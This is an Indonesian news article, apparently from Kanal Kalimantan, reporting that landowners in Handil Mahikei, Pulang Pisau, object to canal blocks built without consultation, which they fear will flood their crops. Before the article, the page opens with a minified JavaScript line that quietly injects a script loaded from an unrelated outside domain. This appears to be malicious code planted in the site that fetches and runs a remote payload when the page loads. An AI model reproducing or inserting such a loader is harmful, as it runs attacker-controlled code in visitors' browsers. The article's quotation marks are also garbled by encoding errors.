(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PULANG PISAU, Pembangunan sekat kanal yang dilakukan di beberapa handil pada wilayah Kelurahan Kalawa, Kecamatan Kahayan Hilir, Pulang Pisau belakangan mendapat penolakan. Misalnya saja di Handil Mahikei, puluhan pemilik lahan bahkan melakukan protes dengan membuat surat pernyataan tertulis yang langsung dihimpun oleh Ketua Handil, Tarso. Kepada Kanal Kalimantan, Tarso bercerita jika pembuatan sekat di handil mereka tanpa sosialisasi.
“Banyak pemilik tanah yang punya kebun di Handil Mahikei protes akan pembuatan sekat kanal tersebut. Karena dikhawatirkan bisa merendam kebun sengon dan karet yang sudah mulai tumbuh. Apalagi musim hujan seperti ini, aliran air dari atas akan tertahan oleh sekat tersebut dan bisa merendam banyak tanaman di sana,†ungkap Tarso sambil menunjukan bukti surat protes yang dibubuhi tanda tangan para pemilik lahan.
Masih menurut Tarso, berdasarkan pantauan pengerjaan sekat kanal baru mulai dilakukan beberapa hari lalu di kilometer 4, terhitung ada sekitar 6 sekat kanal yang sudah dibangun. Sementara dari titik pemetaan di lapangan, diperkirakan pembuatan dibuat sampai kilometer 9 hingga sebanyak 21 sekat.
“Beberapa keganjilan yang kami temukan pada program sekat kanal tersebut selain tidak adanya koordinasi dengan pengurus handil, pada sekitar lokasi proyek juga tidak terlihat papan plang kegiatan. Para pekerja sekat kanal juga bukan orang handil melainkan pihak luar handil berjumlah sekitar 20 orang. Langkah kami selanjutnya akan bersurat ke Dinas Lingkungan Hidup dan akan melaporkan pada pihak kepolisian agar jaminan, pengerjaan sekat tidak akan merendam kebun yang ada,†bebernya.
Dikonfirmasi terpisah, Lurah Kelurahan Kalawa Endra Setiawan mengaku, jika pihaknya memang ada menerima keluhan dari para pemilik lahan di beberapa handil yang saat ini tengah dilakukan pembuatan sekat kanal. Karena memang sejak awal tidak ada izin tertulis, pihak kelurahan pun diakui Endra kesulitan untuk melakukan mediasi.
“Iya ada keluhan dari masyarakat, para pemilik lahan karena khawatir sekat kanal akan merendam lahan mereka. Ada yang di Handil Mahikei dan ada yang di Handil Sei Buluh I, menurut informasi program itu dari BRG (Badan Restorasi Gambut, red) yang dikerjakan pihak kontraktor, karena memang awalnya tidak ada sosialisasi ke pemilik lahan kita jadi kesulitan memediasi mereka,†ujar Lurah. (sjy)
KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
This website uses cookies.